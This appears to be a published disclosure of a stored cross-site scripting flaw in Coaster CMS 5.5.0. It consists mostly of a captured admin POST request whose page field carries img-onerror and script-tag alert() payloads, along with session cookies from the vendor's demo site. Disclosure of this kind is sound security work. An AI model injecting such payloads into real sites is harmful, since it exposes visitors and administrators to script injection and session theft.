Coaster CMS 5.5.0 Cross Site Scripting

`# Exploit Title: Coaster CMS 5.5.0 - Cross-Site Scripting  
# Date: 2018-10-01  
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.web-feet.co.uk/  
# Software Link : https://github.com/Web-Feet/coastercms  
# Software : Coaster CMS  
# Product Version: v5.5.0  
# Vulernability Type : Cross-site Scripting  
# Vulenrability : Stored XSS  
# CVE : N/A  
  
# A Stored XSS vulnerability has been discovered in the v5.5.0 version of the Coaster CMS product.  
  
# HTTP POST Request :  
  
POST /admin/pages/edit/26 HTTP/1.1  
Host: demo.coastercms.org  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://demo.coastercms.org/admin/pages/edit/26  
Content-Type: multipart/form-data; boundary=---------------------------24464570528145  
Content-Length: 3353  
Cookie: __cfduid=ddc0ae999f19fa783083ea0c7fdce0ba41538397617; XSRF-TOKEN=eyJpdiI6IndLeTBrZVwvWkdzUE9JSTArU3FOQ3BRPT0iLCJ2YWx1ZSI6InlsZ3Jib0ZNQTM3TXZEZGlwd0hJZmg1aHRibGZDWHZTcmordkRKbnRHWVVjYUJ4TlFOSGdYNkFIWHBSdlozUlY1c3ZJQjNuek9tOW92WXE5SkloOHZ3PT0iLCJtYWMiOiI0MzkzZjU1YWNiNDU2MDhkMDVhMDMwZDkwZTNhZjc4NGI5YzMzZjk0N2Q4YmJmYzY3NWZlZjg1MzVjYTJmMWY2In0%3D; laravel_session=eyJpdiI6IkNhM0Roc280SjE2aFcweXlcLzZwR2hRPT0iLCJ2YWx1ZSI6IldoUG9xTnNqRjh2TlBrQW51NlhqU1hCa3NIZmhSczFlYWE5Mkxza3dMWThkbFZcL2E1VmVTRExCa3h2ckMrdDliajZSTjRSUnhQcEJiek1pSjZ6VGRyZz09IiwibWFjIjoiMmQ0YjBkMmY1NDQ4ODdjOWVhZWUyMDFkY2UwMTlkNTM4ZmEyMGE4YjAwMDVkYmQ3ODZiZWUyOWM4OWQzODg4ZSJ9  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="_token"  
  
ZeLPiM6IJlkjRf0tosDFjMNPOXVsPv5YioF6092P  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[19]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[20]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[21]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[34]"  
  
Search  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[36]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[33]"  
  
<p>"><img src=x onerror=alert("ismailtasdelen")>  
<script>alert("Ismail Tasdelen")</script>  
</p>  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[1][exists]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[1][select]"  
  
posts  
-----------------------------24464570528145  
Content-Disposition: form-data; name="publish"  
  
publish  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[35][source]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="block[35][alt]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[parent]"  
  
0  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info_lang[name]"  
  
Search  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info_lang[url]"  
  
search  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[link]"  
  
0  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info_other[group_radio]"  
  
0  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[group_container]"  
  
0  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[group_container_url_priority]"  
  
0  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[template][exists]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[template][select]"  
  
3  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[live][exists]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[live][select]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[live_start]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[live_end]"  
  
  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[sitemap][exists]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="page_info[sitemap][select]"  
  
1  
-----------------------------24464570528145  
Content-Disposition: form-data; name="versionFrom"  
  
4  
-----------------------------24464570528145  
Content-Disposition: form-data; name="duplicate"  
  
0  
-----------------------------24464570528145--  
  
  
`